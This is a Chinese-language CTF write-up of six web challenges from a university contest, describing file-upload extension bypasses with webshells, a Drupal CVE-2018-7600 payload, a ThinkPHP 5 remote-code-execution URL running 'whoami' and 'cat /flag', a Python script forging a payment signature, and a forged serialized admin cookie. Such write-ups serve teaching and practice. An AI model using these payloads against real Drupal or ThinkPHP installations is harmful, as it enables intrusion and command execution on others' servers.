CUMT第一輪雙月賽Web題解

ez-upload

這個題目作爲Web題的第一個題難度剛好,很基礎的漏洞點,就考了個文件上傳,上來直接用phtml就可以繞過,但是給出來的hint是.htaccess,可能是我非預期了?

Fa0BnI.png

菜刀鏈接獲取flag

Fa0rHP.png

Cve

參考了這篇文章:https://www.menzel3.fun/2018/08/02/Drupal%20CVE2018-7600/#代碼執行現場

這是一個Drupal 7的cve,照着構造payload就好,payload 分爲兩個請求。 先將 Payload 注入緩存中,構造下面的payload,發送一個POST包

POST請求:/?q=user/password&name[%23post_render][]=system&name[%23type]=markup&name[%23markup]=ls%20/

POST內容:form_id=user_pass&_triggering_element_name=name

獲取form_build_id的value值:

FayX0s.png

然後再POST發送執行的包:/?q=file/ajax/name/%23value/form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU這裏也需要form_build_id的值,POST的內容也是:form_build_id=form-b7pP9HUKwcQBEuhZ1GZ79qWXV0KRb5YxUGoWaozSPRU成功執行命令,這裏注意一下參考文章裏面的passthru命令用不了,只能改爲system才能執行相關命令,所以上面緩存的時候換了用system函數

Fa6knJ.png

再來一次cat /flag的操作就可以讀取flag了

Fa66Nq.png

shop

這個題是個代碼審計的題目,先把源碼給down下來

打開這個網站發現有登陸註冊功能,以及購買flag的功能,但是這裏面要想得到真正的flag卻需要888積分纔可以購買,這個時候就感覺應該是越權購買flag的漏洞了。。。。

發現源碼裏面有數據庫文件打開看一下,發現是存在管理員的,並且id是16,這個東西后期有用,而且他有30000積分,夠買很多flag了,還有商品id 38也可以得知

FaNVu6.md.png

FaNeHO.png

看到代碼裏面的setting文件,有從secret.key讀出來的祕鑰

FaNuUe.md.png

看一下里面的祕鑰,一定要注意這裏還有個回車啊啊啊啊,後邊僞造簽名有用

FaN1gI.png

重點關注這段代碼

FaN3vt.md.png

這裏可以看出單單對商品方做了校驗(自檢驗),那購買者呢?不存在對其的任何校驗,也就是沒有做好雙向的校驗,這也說明我們可以從僞造購買者的方面去入手,讓別人付錢23333

根據它裏面的代碼去構造signature就好了

from hashlib import md5
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = 'zhinianyuxin\n'
form = {
		'order_id': '119',
		'buyer_id': '16',  
		'good_id': '38',   
		'buyer_point': '200',
		'good_price': '50',
		'order_create_time': '1544796662.686132'
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form])
str2sign3= str2sign.encode('utf-8')
sign = md5(str2sign3).hexdigest()
print(sign)

發包構造一下得到flag,注意紅色的地方也要做相應的修改,發包得到flag

FaNoKx.png

FaNjGd.png

tp5

這個題目就是最近幾天剛爆出來的tp5遠程getshell的漏洞,直接上網搜payload,參考了這篇文章:https://mp.weixin.qq.com/s/NQAZPz8uT8eNFyeMT4l8Ig

我用的是下面的payload:

http://219.219.61.234:10005/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

最後獲取flag

http://219.219.61.234:10005/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

FaBebt.png

secret-system

一進去之後會發現login功能沒反應,而upload頁面也需要管理員權限,肯定是要僞造自己是管理員的身份然後去挖掘文件上傳的漏洞,查看源代碼無果後順手看看robots.txt,發現裏面有登錄的地址

User-agent: *
Disallow: index.php?r=site/loginuser_1

然後就可以進去登陸的頁面,再次查看源代碼發現作者的信息

<!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->

順手去查一下,發現可以用test/cib_sec登錄但不是admin,而且泄露的代碼裏面說明了可以僞造cookie,cookie名稱是Cib_security,是一段經過序列化的東西,到時候就可以僞造了

##README.md

    *** author: cib_zhinianyuxin.com

It's just a system which is not completed , there are some tips:

    you can use test/cib_sec to login ,but you are not admin!
    only admin can upload file ,but whichone can not bypass my rules.

/**
$sign = array(
                    'id'=>$model->id,
                    'name'=>$model->username,
                    'sign'=>md5($model->id.$model->username),
                );
$_COOKIE['Cib_security'] = serialize($sign);
**/

以test身份登錄後把cookie拿出來然後解碼

FadGK1.md.png

然後把裏面的MD5解一下發現是2test,那我們就構造一個1admin,構造如下的序列

a:3{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}

再次經過URL編碼然後保存一下cookie就可以以admin身份登錄,接上來就是文件上傳的部分了,這裏的文件上傳就是個很簡單的後綴名繞過,我試了賊久,這個後綴名有點偏,用的pht,然後發包上傳一句話木馬,菜刀鏈接,成功獲取flag

FawmQA.png

shell?

這個題目確實拓寬了新思路,做了好久才做出來由於特殊原因呢,就不發詳細writeup了。。。。

小結

這一次把web給ak了,真是舒服吶23333,截個圖留念一下

Fd5Lpd.png

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章